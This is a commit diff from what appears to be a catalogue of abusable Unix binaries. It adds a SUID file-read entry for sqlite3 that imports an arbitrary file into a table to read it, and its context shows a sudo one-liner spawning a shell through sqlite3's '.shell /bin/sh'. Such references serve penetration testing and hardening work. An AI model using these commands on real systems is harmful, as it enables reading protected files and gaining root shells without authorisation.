Add SUID [file read] category to sqlite3

This commit is contained in:
Shikata 2021-01-12 13:57:34 +02:00
parent ae8271292a
commit 28cc7ff7da

View File

@ -14,6 +14,14 @@ functions:
.import $LFILE t .import $LFILE t
SELECT * FROM t; SELECT * FROM t;
EOF EOF
suid:
- code: |
LFILE=file_to_read
sqlite3 << EOF
CREATE TABLE t(line TEXT);
.import $LFILE t
SELECT * FROM t;
EOF
sudo: sudo:
- code: sudo sqlite3 /dev/null '.shell /bin/sh' - code: sudo sqlite3 /dev/null '.shell /bin/sh'
limited-suid: limited-suid: